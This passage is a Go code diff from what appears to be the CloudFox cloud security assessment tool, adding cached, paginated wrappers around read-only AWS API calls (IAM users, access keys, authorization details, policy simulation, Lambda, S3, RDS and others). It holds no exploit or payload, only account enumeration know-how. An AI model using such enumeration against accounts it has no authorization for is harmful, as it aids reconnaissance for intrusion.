internal.Cache.Set(cacheKey, nodeGroup, cache.DefaultExpiration)
return nodeGroup, nil
}
+56
View File
@@ -0,0 +1,56 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing"
elbTypes "github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing/types"
"github.com/patrickmn/go-cache"
)
type ELBClientInterface interface {
DescribeLoadBalancers(context.Context, *elasticloadbalancing.DescribeLoadBalancersInput, ...func(*elasticloadbalancing.Options)) (*elasticloadbalancing.DescribeLoadBalancersOutput, error)
}
func RegisterELBTypes() {
gob.Register([]elbTypes.LoadBalancerDescription{})
}
func CachedELBDescribeLoadBalancers(client ELBClientInterface, accountID string, region string) ([]elbTypes.LoadBalancerDescription, error) {
var PaginationControl *string
var loadbalancers []elbTypes.LoadBalancerDescription
cacheKey := fmt.Sprintf("%s-elb-DescribeLoadBalancers-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]elbTypes.LoadBalancerDescription), nil
}
for {
DescribeLoadBalancers, err := client.DescribeLoadBalancers(
context.TODO(),
&elasticloadbalancing.DescribeLoadBalancersInput{
Marker: PaginationControl,
},
func(o *elasticloadbalancing.Options) {
o.Region = region
},
)
if err != nil {
return loadbalancers, err
}
loadbalancers = append(loadbalancers, DescribeLoadBalancers.LoadBalancerDescriptions...)
//pagination
if DescribeLoadBalancers.NextMarker == nil {
break
}
PaginationControl = DescribeLoadBalancers.NextMarker
}
internal.Cache.Set(cacheKey, loadbalancers, cache.DefaultExpiration)
return loadbalancers, nil
}
+56
View File
@@ -0,0 +1,56 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2"
elbV2Types "github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2/types"
"github.com/patrickmn/go-cache"
)
type ELBv2ClientInterface interface {
DescribeLoadBalancers(context.Context, *elasticloadbalancingv2.DescribeLoadBalancersInput, ...func(*elasticloadbalancingv2.Options)) (*elasticloadbalancingv2.DescribeLoadBalancersOutput, error)
}
func RegisterELBv2Types() {
gob.Register([]elbV2Types.LoadBalancer{})
}
func CachedELBv2DescribeLoadBalancers(client ELBv2ClientInterface, accountID string, region string) ([]elbV2Types.LoadBalancer, error) {
var PaginationControl *string
var loadbalancers []elbV2Types.LoadBalancer
cacheKey := fmt.Sprintf("%s-elbv2-DescribeLoadBalancers-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]elbV2Types.LoadBalancer), nil
}
for {
DescribeLoadBalancers, err := client.DescribeLoadBalancers(
context.TODO(),
&elasticloadbalancingv2.DescribeLoadBalancersInput{
Marker: PaginationControl,
},
func(o *elasticloadbalancingv2.Options) {
o.Region = region
},
)
if err != nil {
return loadbalancers, err
}
loadbalancers = append(loadbalancers, DescribeLoadBalancers.LoadBalancers...)
//pagination
if DescribeLoadBalancers.NextMarker == nil {
break
}
PaginationControl = DescribeLoadBalancers.NextMarker
}
internal.Cache.Set(cacheKey, loadbalancers, cache.DefaultExpiration)
return loadbalancers, nil
}
+58
View File
@@ -0,0 +1,58 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/grafana"
grafanaTypes "github.com/aws/aws-sdk-go-v2/service/grafana/types"
"github.com/patrickmn/go-cache"
)
type GrafanaClientInterface interface {
ListWorkspaces(context.Context, *grafana.ListWorkspacesInput, ...func(*grafana.Options)) (*grafana.ListWorkspacesOutput, error)
}
func RegisterGrafanaTypes() {
gob.Register([]grafanaTypes.WorkspaceSummary{})
}
func CachedGrafanaListWorkspaces(client GrafanaClientInterface, accountID string, region string) ([]grafanaTypes.WorkspaceSummary, error) {
var PaginationControl *string
var workspaces []grafanaTypes.WorkspaceSummary
cacheKey := fmt.Sprintf("%s-grafana-ListWorkspaces-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]grafanaTypes.WorkspaceSummary), nil
}
for {
ListWorkspaces, err := client.ListWorkspaces(
context.TODO(),
&grafana.ListWorkspacesInput{
NextToken: PaginationControl,
},
func(o *grafana.Options) {
o.Region = region
},
)
if err != nil {
return workspaces, err
}
workspaces = append(workspaces, ListWorkspaces.Workspaces...)
//pagination
if ListWorkspaces.NextToken == nil {
break
}
PaginationControl = ListWorkspaces.NextToken
}
internal.Cache.Set(cacheKey, workspaces, cache.DefaultExpiration)
return workspaces, nil
}
+252
View File
@@ -0,0 +1,252 @@
package sdk
import (
"context"
"crypto/md5"
"encoding/gob"
"encoding/hex"
"fmt"
"strings"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws/arn"
"github.com/aws/aws-sdk-go-v2/service/iam"
iamTypes "github.com/aws/aws-sdk-go-v2/service/iam/types"
"github.com/patrickmn/go-cache"
)
type AWSIAMClientInterface interface {
ListUsers(ctx context.Context, params *iam.ListUsersInput, optFns ...func(*iam.Options)) (*iam.ListUsersOutput, error)
ListAccessKeys(ctx context.Context, params *iam.ListAccessKeysInput, optFns ...func(*iam.Options)) (*iam.ListAccessKeysOutput, error)
ListRoles(ctx context.Context, params *iam.ListRolesInput, optFns ...func(*iam.Options)) (*iam.ListRolesOutput, error)
GetAccountAuthorizationDetails(ctx context.Context, params *iam.GetAccountAuthorizationDetailsInput, optFns ...func(*iam.Options)) (*iam.GetAccountAuthorizationDetailsOutput, error)
SimulatePrincipalPolicy(ctx context.Context, params *iam.SimulatePrincipalPolicyInput, optFns ...func(*iam.Options)) (*iam.SimulatePrincipalPolicyOutput, error)
ListInstanceProfiles(ctx context.Context, params *iam.ListInstanceProfilesInput, optFns ...func(*iam.Options)) (*iam.ListInstanceProfilesOutput, error)
}
func RegisterIamTypes() {
gob.Register([]iamTypes.User{})
gob.Register([]iamTypes.AccessKeyMetadata{})
gob.Register([]iamTypes.Role{})
gob.Register([]iamTypes.PolicyDetail{})
gob.Register([]iamTypes.InstanceProfile{})
gob.Register([]iamTypes.EvaluationResult{})
gob.Register(customGAADOutput{})
}
func CachedIamListUsers(IAMClient AWSIAMClientInterface, accountID string) ([]iamTypes.User, error) {
var PaginationControl *string
var users []iamTypes.User
cacheKey := fmt.Sprintf("%s-iam-ListUsers", accountID)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]iamTypes.User), nil
}
for {
ListUsers, err := IAMClient.ListUsers(
context.TODO(),
&iam.ListUsersInput{
Marker: PaginationControl,
},
)
if err != nil {
sharedLogger.Error(err.Error())
break
}
users = append(users, ListUsers.Users...)
// Pagination control.
if ListUsers.Marker != nil {
PaginationControl = ListUsers.Marker
} else {
PaginationControl = nil
break
}
}
internal.Cache.Set(cacheKey, users, cache.DefaultExpiration)
return users, nil
}
func CachedIamListRoles(IAMClient AWSIAMClientInterface, accountID string) ([]iamTypes.Role, error) {
var PaginationControl *string
var roles []iamTypes.Role
cacheKey := fmt.Sprintf("%s-iam-ListRoles", accountID)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]iamTypes.Role), nil
}
for {
ListRoles, err := IAMClient.ListRoles(
context.TODO(),
&iam.ListRolesInput{
Marker: PaginationControl,
},
)
if err != nil {
sharedLogger.Error(err.Error())
break
}
roles = append(roles, ListRoles.Roles...)
// Pagination control.
if ListRoles.Marker != nil {
PaginationControl = ListRoles.Marker
} else {
PaginationControl = nil
break
}
}
internal.Cache.Set(cacheKey, roles, cache.DefaultExpiration)
return roles, nil
}
func CachedIamListAccessKeys(IAMClient AWSIAMClientInterface, accountID string, userName string) ([]iamTypes.AccessKeyMetadata, error) {
var PaginationControl *string
var accessKeys []iamTypes.AccessKeyMetadata
cacheKey := fmt.Sprintf("%s-iam-ListAccessKeys-%s", accountID, userName)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]iamTypes.AccessKeyMetadata), nil
}
for {
ListAccessKeys, err := IAMClient.ListAccessKeys(
context.TODO(),
&iam.ListAccessKeysInput{
UserName: &userName,
Marker: PaginationControl,
},
)
if err != nil {
return accessKeys, err
}
accessKeys = append(accessKeys, ListAccessKeys.AccessKeyMetadata...)
// Pagination control.
if ListAccessKeys.Marker != nil {
PaginationControl = ListAccessKeys.Marker
} else {
PaginationControl = nil
break
}
}
internal.Cache.Set(cacheKey, accessKeys, cache.DefaultExpiration)
return accessKeys, nil
}
type customGAADOutput struct {
GroupDetailList []iamTypes.GroupDetail
UserDetailList []iamTypes.UserDetail
RoleDetailList []iamTypes.RoleDetail
Policies []iamTypes.ManagedPolicyDetail
}
func CachedIAMGetAccountAuthorizationDetails(IAMClient AWSIAMClientInterface, accountID string) (customGAADOutput, error) {
var PaginationControl *string
var GroupDetailList []iamTypes.GroupDetail
var UserDetailList []iamTypes.UserDetail
var RoleDetailList []iamTypes.RoleDetail
var Policies []iamTypes.ManagedPolicyDetail
var AllAccountAuthorizationDetails = customGAADOutput{
GroupDetailList: GroupDetailList,
UserDetailList: UserDetailList,
RoleDetailList: RoleDetailList,
Policies: Policies,
}
cacheKey := fmt.Sprintf("%s-iam-GetAccountAuthorizationDetails", accountID)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.(customGAADOutput), nil
}
for {
GetAccountAuthorizationDetails, err := IAMClient.GetAccountAuthorizationDetails(
context.TODO(),
&iam.GetAccountAuthorizationDetailsInput{
Marker: PaginationControl,
},
)
if err != nil {
return AllAccountAuthorizationDetails, err
}
AllAccountAuthorizationDetails.GroupDetailList = append(AllAccountAuthorizationDetails.GroupDetailList, GetAccountAuthorizationDetails.GroupDetailList...)
AllAccountAuthorizationDetails.UserDetailList = append(AllAccountAuthorizationDetails.UserDetailList, GetAccountAuthorizationDetails.UserDetailList...)
AllAccountAuthorizationDetails.RoleDetailList = append(AllAccountAuthorizationDetails.RoleDetailList, GetAccountAuthorizationDetails.RoleDetailList...)
AllAccountAuthorizationDetails.Policies = append(AllAccountAuthorizationDetails.Policies, GetAccountAuthorizationDetails.Policies...)
if GetAccountAuthorizationDetails.Marker != nil {
PaginationControl = GetAccountAuthorizationDetails.Marker
} else {
PaginationControl = nil
break
}
}
internal.Cache.Set(cacheKey, AllAccountAuthorizationDetails, cache.DefaultExpiration)
return AllAccountAuthorizationDetails, nil
}
func CachedIamSimulatePrincipalPolicy(IAMClient AWSIAMClientInterface, accountID string, principal *string, actionNames []string, resourceArns []string) ([]iamTypes.EvaluationResult, error) {
var PaginationControl2 *string
var EvaluationResults []iamTypes.EvaluationResult
md5hashedActionNames := md5.Sum([]byte(strings.Join(actionNames, "")))
md5hashedResourceArns := md5.Sum([]byte(strings.Join(resourceArns, "")))
// proccess arn and get the name of the resource
arn, err := arn.Parse(*principal)
if err != nil {
return EvaluationResults, err
}
name := arn.Resource
// if name has muliplte / then get the last one
if strings.Contains(arn.Resource, "/") {
name = arn.Resource[strings.LastIndex(arn.Resource, "/")+1:]
}
truncatedHashLength := 8
cacheKey := fmt.Sprintf("%s-iamSimulator-%s-%s-%s", accountID, name, hex.EncodeToString(md5hashedActionNames[:truncatedHashLength]), hex.EncodeToString(md5hashedResourceArns[:truncatedHashLength]))
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]iamTypes.EvaluationResult), nil
}
for {
SimulatePrincipalPolicy, err := IAMClient.SimulatePrincipalPolicy(
context.TODO(),
&iam.SimulatePrincipalPolicyInput{
Marker: PaginationControl2,
ActionNames: actionNames,
PolicySourceArn: principal,
ResourceArns: resourceArns,
},
)
if err != nil {
return EvaluationResults, err
}
EvaluationResults = append(EvaluationResults, SimulatePrincipalPolicy.EvaluationResults...)
if SimulatePrincipalPolicy.Marker != nil {
PaginationControl2 = SimulatePrincipalPolicy.Marker
} else {
PaginationControl2 = nil
break
}
}
internal.Cache.Set(cacheKey, EvaluationResults, cache.DefaultExpiration)
return EvaluationResults, nil
}
+147
View File
@@ -0,0 +1,147 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/lambda"
lambdaTypes "github.com/aws/aws-sdk-go-v2/service/lambda/types"
"github.com/patrickmn/go-cache"
)
type LambdaClientInterface interface {
ListFunctions(context.Context, *lambda.ListFunctionsInput, ...func(*lambda.Options)) (*lambda.ListFunctionsOutput, error)
GetFunction(context.Context, *lambda.GetFunctionInput, ...func(*lambda.Options)) (*lambda.GetFunctionOutput, error)
GetFunctionUrlConfig(context.Context, *lambda.GetFunctionUrlConfigInput, ...func(*lambda.Options)) (*lambda.GetFunctionUrlConfigOutput, error)
}
func RegisterLambdaTypes() {
gob.Register([]lambdaTypes.FunctionConfiguration{})
gob.Register(customGetFuntionURLOutput{})
}
// create a CachedLambdaListFunctions function that accepts a lambda client, account id, region. Make sure it uses go-cache and handles the region option and pagination
func CachedLambdaListFunctions(client LambdaClientInterface, accountID string, region string) ([]lambdaTypes.FunctionConfiguration, error) {
var PaginationControl *string
var functions []lambdaTypes.FunctionConfiguration
cacheKey := fmt.Sprintf("%s-lambda-ListFunctions-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]lambdaTypes.FunctionConfiguration), nil
}
for {
ListFunctions, err := client.ListFunctions(
context.TODO(),
&lambda.ListFunctionsInput{
Marker: PaginationControl,
},
func(o *lambda.Options) {
o.Region = region
},
)
if err != nil {
return functions, err
}
functions = append(functions, ListFunctions.Functions...)
//pagination
if ListFunctions.NextMarker == nil {
break
}
PaginationControl = ListFunctions.NextMarker
}
internal.Cache.Set(cacheKey, functions, cache.DefaultExpiration)
return functions, nil
}
type customGetFuntionURLOutput struct {
// The type of authentication that your function URL uses. Set to AWS_IAM if you
// want to restrict access to authenticated users only. Set to NONE if you want to
// bypass IAM authentication to create a public endpoint. For more information, see
// Security and auth model for Lambda function URLs (https://docs.aws.amazon.com/lambda/latest/dg/urls-auth.html)
// .
//
// This member is required.
AuthType lambdaTypes.FunctionUrlAuthType
// When the function URL was created, in ISO-8601 format (https://www.w3.org/TR/NOTE-datetime)
// (YYYY-MM-DDThh:mm:ss.sTZD).
//
// This member is required.
CreationTime *string
// The Amazon Resource Name (ARN) of your function.
//
// This member is required.
FunctionArn *string
// The HTTP URL endpoint for your function.
//
// This member is required.
FunctionUrl *string
// When the function URL configuration was last updated, in ISO-8601 format (https://www.w3.org/TR/NOTE-datetime)
// (YYYY-MM-DDThh:mm:ss.sTZD).
//
// This member is required.
LastModifiedTime *string
// The cross-origin resource sharing (CORS) (https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)
// settings for your function URL.
Cors *lambdaTypes.Cors
// Use one of the following options:
// - BUFFERED – This is the default option. Lambda invokes your function using
// the Invoke API operation. Invocation results are available when the payload is
// complete. The maximum payload size is 6 MB.
// - RESPONSE_STREAM – Your function streams payload results as they become
// available. Lambda invokes your function using the InvokeWithResponseStream API
// operation. The maximum response payload size is 20 MB, however, you can
// request a quota increase (https://docs.aws.amazon.com/servicequotas/latest/userguide/request-quota-increase.html)
// .
InvokeMode lambdaTypes.InvokeMode
}
// create a CachedLambdaGetFunctionUrlConfig function that accepts a lambda client, account id, region, and function name. Make sure it uses go-cache and handles the region option
func CachedLambdaGetFunctionUrlConfig(client LambdaClientInterface, accountID string, region string, functionName string) (customGetFuntionURLOutput, error) {
var functionUrlConfigOutput customGetFuntionURLOutput
cacheKey := fmt.Sprintf("%s-lambda-GetFunctionUrlConfig-%s-%s", accountID, region, functionName)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.(customGetFuntionURLOutput), nil
}
GetFunctionUrlConfig, err := client.GetFunctionUrlConfig(
context.TODO(),
&lambda.GetFunctionUrlConfigInput{
FunctionName: &functionName,
},
func(o *lambda.Options) {
o.Region = region
},
)
if err != nil {
return functionUrlConfigOutput, err
}
functionUrlConfigOutput = customGetFuntionURLOutput{
AuthType: GetFunctionUrlConfig.AuthType,
CreationTime: GetFunctionUrlConfig.CreationTime,
FunctionArn: GetFunctionUrlConfig.FunctionArn,
FunctionUrl: GetFunctionUrlConfig.FunctionUrl,
LastModifiedTime: GetFunctionUrlConfig.LastModifiedTime,
Cors: GetFunctionUrlConfig.Cors,
InvokeMode: GetFunctionUrlConfig.InvokeMode,
}
internal.Cache.Set(cacheKey, functionUrlConfigOutput, cache.DefaultExpiration)
return functionUrlConfigOutput, nil
}
+87
View File
@@ -0,0 +1,87 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/lightsail"
lightsailTypes "github.com/aws/aws-sdk-go-v2/service/lightsail/types"
"github.com/patrickmn/go-cache"
)
type lightsailClientInterface interface {
GetInstances(context.Context, *lightsail.GetInstancesInput, ...func(*lightsail.Options)) (*lightsail.GetInstancesOutput, error)
GetContainerServices(context.Context, *lightsail.GetContainerServicesInput, ...func(*lightsail.Options)) (*lightsail.GetContainerServicesOutput, error)
}
func RegisterLightsailTypes() {
//gob.Register([]lightsailTypes.Instance{})
gob.Register([]lightsailTypes.ContainerService{})
}
func CachedLightsailGetInstances(client lightsailClientInterface, accountID string, region string) ([]lightsailTypes.Instance, error) {
var PaginationControl *string
var services []lightsailTypes.Instance
// TODO: When caching is enabled, this []lightsailTypes.Instance type clashes with the EC instance type when it comes to gob.Register. need to figure out how to register both types
// cacheKey := fmt.Sprintf("%s-lightsail-GetInstances-%s", accountID, region)
// cached, found := internal.Cache.Get(cacheKey)
// if found {
// return cached.([]lightsailTypes.Instance), nil
// }
for {
GetInstances, err := client.GetInstances(
context.TODO(),
&lightsail.GetInstancesInput{
PageToken: PaginationControl,
},
func(o *lightsail.Options) {
o.Region = region
},
)
if err != nil {
return services, err
}
services = append(services, GetInstances.Instances...)
//pagination
if GetInstances.NextPageToken == nil {
break
}
PaginationControl = GetInstances.NextPageToken
}
// TODO: When caching is enabled, this []lightsailTypes.Instance type clashes with the EC instance type when it comes to gob.Register. need to figure out how to register both types
//internal.Cache.Set(cacheKey, services, cache.DefaultExpiration)
return services, nil
}
func CachedLightsailGetContainerServices(client lightsailClientInterface, accountID string, region string) ([]lightsailTypes.ContainerService, error) {
var services []lightsailTypes.ContainerService
cacheKey := fmt.Sprintf("%s-lightsail-GetContainerService-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]lightsailTypes.ContainerService), nil
}
GetInstances, err := client.GetContainerServices(
context.TODO(),
&lightsail.GetContainerServicesInput{},
func(o *lightsail.Options) {
o.Region = region
},
)
if err != nil {
return services, err
}
services = append(services, GetInstances.ContainerServices...)
internal.Cache.Set(cacheKey, services, cache.DefaultExpiration)
return services, nil
}
+58
View File
@@ -0,0 +1,58 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/mq"
mqTypes "github.com/aws/aws-sdk-go-v2/service/mq/types"
"github.com/patrickmn/go-cache"
)
type MQClientInterface interface {
ListBrokers(context.Context, *mq.ListBrokersInput, ...func(*mq.Options)) (*mq.ListBrokersOutput, error)
}
func RegisterMQTypes() {
gob.Register([]mqTypes.BrokerSummary{})
}
// create CachedMQListBrokers function that uses go-cache and pagination
func CachedMQListBrokers(client MQClientInterface, accountID string, region string) ([]mqTypes.BrokerSummary, error) {
var PaginationControl *string
var brokers []mqTypes.BrokerSummary
cacheKey := fmt.Sprintf("%s-mq-ListBrokers-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]mqTypes.BrokerSummary), nil
}
for {
ListBrokers, err := client.ListBrokers(
context.TODO(),
&mq.ListBrokersInput{
NextToken: PaginationControl,
},
func(o *mq.Options) {
o.Region = region
},
)
if err != nil {
return brokers, err
}
brokers = append(brokers, ListBrokers.BrokerSummaries...)
//pagination
if ListBrokers.NextToken == nil {
break
}
PaginationControl = ListBrokers.NextToken
}
internal.Cache.Set(cacheKey, brokers, cache.DefaultExpiration)
return brokers, nil
}
+77
View File
@@ -0,0 +1,77 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/opensearch"
openSearchTypes "github.com/aws/aws-sdk-go-v2/service/opensearch/types"
"github.com/patrickmn/go-cache"
)
type OpenSearchClientInterface interface {
ListDomainNames(context.Context, *opensearch.ListDomainNamesInput, ...func(*opensearch.Options)) (*opensearch.ListDomainNamesOutput, error)
DescribeDomainConfig(context.Context, *opensearch.DescribeDomainConfigInput, ...func(*opensearch.Options)) (*opensearch.DescribeDomainConfigOutput, error)
}
func RegisterOpenSearchTypes() {
gob.Register([]openSearchTypes.DomainInfo{})
gob.Register(openSearchTypes.DomainConfig{})
}
// create CachedOpenSearchListDomainNames function that uses go-cache and pagination
func CachedOpenSearchListDomainNames(client OpenSearchClientInterface, accountID string, region string) ([]openSearchTypes.DomainInfo, error) {
var domains []openSearchTypes.DomainInfo
cacheKey := fmt.Sprintf("%s-opensearch-ListDomainNames-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]openSearchTypes.DomainInfo), nil
}
ListDomainNames, err := client.ListDomainNames(
context.TODO(),
&opensearch.ListDomainNamesInput{},
func(o *opensearch.Options) {
o.Region = region
},
)
if err != nil {
return domains, err
}
domains = append(domains, ListDomainNames.DomainNames...)
internal.Cache.Set(cacheKey, domains, cache.DefaultExpiration)
return domains, nil
}
// create CachedOpenSearchDescribeDomainConfig function that uses go-cache and pagination and supports region option
func CachedOpenSearchDescribeDomainConfig(client OpenSearchClientInterface, accountID string, region string, domainName string) (openSearchTypes.DomainConfig, error) {
var DomainConfig openSearchTypes.DomainConfig
cacheKey := fmt.Sprintf("%s-opensearch-DescribeDomainConfig-%s-%s", accountID, region, domainName)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.(openSearchTypes.DomainConfig), nil
}
DescribeDomainConfig, err := client.DescribeDomainConfig(
context.TODO(),
&opensearch.DescribeDomainConfigInput{
DomainName: &domainName,
},
func(o *opensearch.Options) {
o.Region = region
},
)
if err != nil {
return DomainConfig, err
}
DomainConfig = *DescribeDomainConfig.DomainConfig
internal.Cache.Set(cacheKey, DomainConfig, cache.DefaultExpiration)
return DomainConfig, nil
}
+81
View File
@@ -0,0 +1,81 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/organizations"
orgTypes "github.com/aws/aws-sdk-go-v2/service/organizations/types"
"github.com/patrickmn/go-cache"
)
type OrganizationsClientInterface interface {
ListAccounts(ctx context.Context, params *organizations.ListAccountsInput, optFns ...func(*organizations.Options)) (*organizations.ListAccountsOutput, error)
DescribeOrganization(ctx context.Context, params *organizations.DescribeOrganizationInput, optFns ...func(*organizations.Options)) (*organizations.DescribeOrganizationOutput, error)
}
func RegisterOrganizationsTypes() {
gob.Register([]orgTypes.Account{})
//gob.Register(orgTypes.Organization{})
}
// create a CachedOrganizationsListAccounts function that uses go-cache and pagination and returns a list of accounts
func CachedOrganizationsListAccounts(client OrganizationsClientInterface, accountID string) ([]orgTypes.Account, error) {
var PaginationControl *string
var accounts []orgTypes.Account
cacheKey := fmt.Sprintf("%s-organizations-ListAccounts", accountID)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]orgTypes.Account), nil
}
for {
ListAccounts, err := client.ListAccounts(
context.TODO(),
&organizations.ListAccountsInput{
NextToken: PaginationControl,
},
)
if err != nil {
return accounts, err
}
accounts = append(accounts, ListAccounts.Accounts...)
//pagination
if ListAccounts.NextToken == nil {
break
}
PaginationControl = ListAccounts.NextToken
}
internal.Cache.Set(cacheKey, accounts, cache.DefaultExpiration)
return accounts, nil
}
// create a CachedOrganizationsDescribeOrganization function that uses go-cache and returns an organization
func CachedOrganizationsDescribeOrganization(client OrganizationsClientInterface, accountID string) (*orgTypes.Organization, error) {
var organization *orgTypes.Organization
cacheKey := fmt.Sprintf("%s-organizations-DescribeOrganization", accountID)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.(*orgTypes.Organization), nil
}
DescribeOrganization, err := client.DescribeOrganization(
context.TODO(),
&organizations.DescribeOrganizationInput{},
)
if err != nil {
return organization, err
}
organization = DescribeOrganization.Organization
internal.Cache.Set(cacheKey, organization, cache.DefaultExpiration)
return organization, nil
}
+57
View File
@@ -0,0 +1,57 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/rds"
rdsTypes "github.com/aws/aws-sdk-go-v2/service/rds/types"
"github.com/patrickmn/go-cache"
)
type RDSClientInterface interface {
DescribeDBInstances(context.Context, *rds.DescribeDBInstancesInput, ...func(*rds.Options)) (*rds.DescribeDBInstancesOutput, error)
}
func RegisterRDSTypes() {
gob.Register([]rdsTypes.DBInstance{})
}
func CachedRDSDescribeDBInstances(client RDSClientInterface, accountID string, region string) ([]rdsTypes.DBInstance, error) {
var PaginationControl *string
var instances []rdsTypes.DBInstance
cacheKey := fmt.Sprintf("%s-rds-DescribeDBInstances-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]rdsTypes.DBInstance), nil
}
for {
DescribeDBInstances, err := client.DescribeDBInstances(
context.TODO(),
&rds.DescribeDBInstancesInput{
Marker: PaginationControl,
},
func(o *rds.Options) {
o.Region = region
},
)
if err != nil {
return instances, err
}
instances = append(instances, DescribeDBInstances.DBInstances...)
//pagination
if DescribeDBInstances.Marker == nil {
break
}
PaginationControl = DescribeDBInstances.Marker
}
internal.Cache.Set(cacheKey, instances, cache.DefaultExpiration)
return instances, nil
}
+56
View File
@@ -0,0 +1,56 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/redshift"
redshiftTypes "github.com/aws/aws-sdk-go-v2/service/redshift/types"
"github.com/patrickmn/go-cache"
)
type RedShiftClientInterface interface {
DescribeClusters(context.Context, *redshift.DescribeClustersInput, ...func(*redshift.Options)) (*redshift.DescribeClustersOutput, error)
}
func RegisterRedShiftTypes() {
gob.Register([]redshiftTypes.Cluster{})
}
func CachedRedShiftDescribeClusters(client RedShiftClientInterface, accountID string, region string) ([]redshiftTypes.Cluster, error) {
var PaginationControl *string
var clusters []redshiftTypes.Cluster
cacheKey := fmt.Sprintf("%s-redshift-DescribeClusters-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]redshiftTypes.Cluster), nil
}
for {
DescribeClusters, err := client.DescribeClusters(
context.TODO(),
&redshift.DescribeClustersInput{
Marker: PaginationControl,
},
func(o *redshift.Options) {
o.Region = region
},
)
if err != nil {
return clusters, err
}
clusters = append(clusters, DescribeClusters.Clusters...)
//pagination
if DescribeClusters.Marker == nil {
break
}
PaginationControl = DescribeClusters.Marker
}
internal.Cache.Set(cacheKey, clusters, cache.DefaultExpiration)
return clusters, nil
}
+124
View File
@@ -0,0 +1,124 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/s3"
s3Types "github.com/aws/aws-sdk-go-v2/service/s3/types"
"github.com/patrickmn/go-cache"
)
type AWSS3ClientInterface interface {
ListBuckets(ctx context.Context, params *s3.ListBucketsInput, optFns ...func(*s3.Options)) (*s3.ListBucketsOutput, error)
GetBucketPolicy(ctx context.Context, params *s3.GetBucketPolicyInput, optFns ...func(*s3.Options)) (*s3.GetBucketPolicyOutput, error)
GetBucketLocation(ctx context.Context, params *s3.GetBucketLocationInput, optFns ...func(*s3.Options)) (*s3.GetBucketLocationOutput, error)
GetPublicAccessBlock(ctx context.Context, params *s3.GetPublicAccessBlockInput, optFns ...func(*s3.Options)) (*s3.GetPublicAccessBlockOutput, error)
}
func RegisterS3Types() {
gob.Register([]s3Types.Bucket{})
gob.Register(s3Types.Bucket{})
gob.Register(&s3Types.PublicAccessBlockConfiguration{})
}
func CachedListBuckets(S3Client AWSS3ClientInterface, accountID string) ([]s3Types.Bucket, error) {
var buckets []s3Types.Bucket
cacheKey := fmt.Sprintf("%s-s3-ListBuckets", accountID)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached data for ListBuckets data")
return cached.([]s3Types.Bucket), nil
}
ListBuckets, err := S3Client.ListBuckets(
context.TODO(),
&s3.ListBucketsInput{},
)
if err != nil {
return buckets, err
}
buckets = append(buckets, ListBuckets.Buckets...)
internal.Cache.Set(cacheKey, buckets, cache.DefaultExpiration)
return buckets, nil
}
func CachedGetBucketLocation(S3Client AWSS3ClientInterface, accountID string, bucketName string) (string, error) {
cacheKey := fmt.Sprintf("%s-s3-GetBucketLocation-%s", accountID, bucketName)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached data for GetBucketLocation data")
return cached.(string), nil
}
GetBucketRegion, err := S3Client.GetBucketLocation(
context.TODO(),
&s3.GetBucketLocationInput{
Bucket: &bucketName,
},
)
if err != nil {
return "", err
}
location := string(GetBucketRegion.LocationConstraint)
if location == "" {
location = "us-east-1"
}
internal.Cache.Set(cacheKey, location, cache.DefaultExpiration)
return location, err
}
func CachedGetBucketPolicy(S3Client AWSS3ClientInterface, accountID string, r string, bucketName string) (string, error) {
cacheKey := fmt.Sprintf("%s-s3-GetBucketPolicy-%s-%s", accountID, r, bucketName)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached data for GetBucketPolicy data")
return cached.(string), nil
}
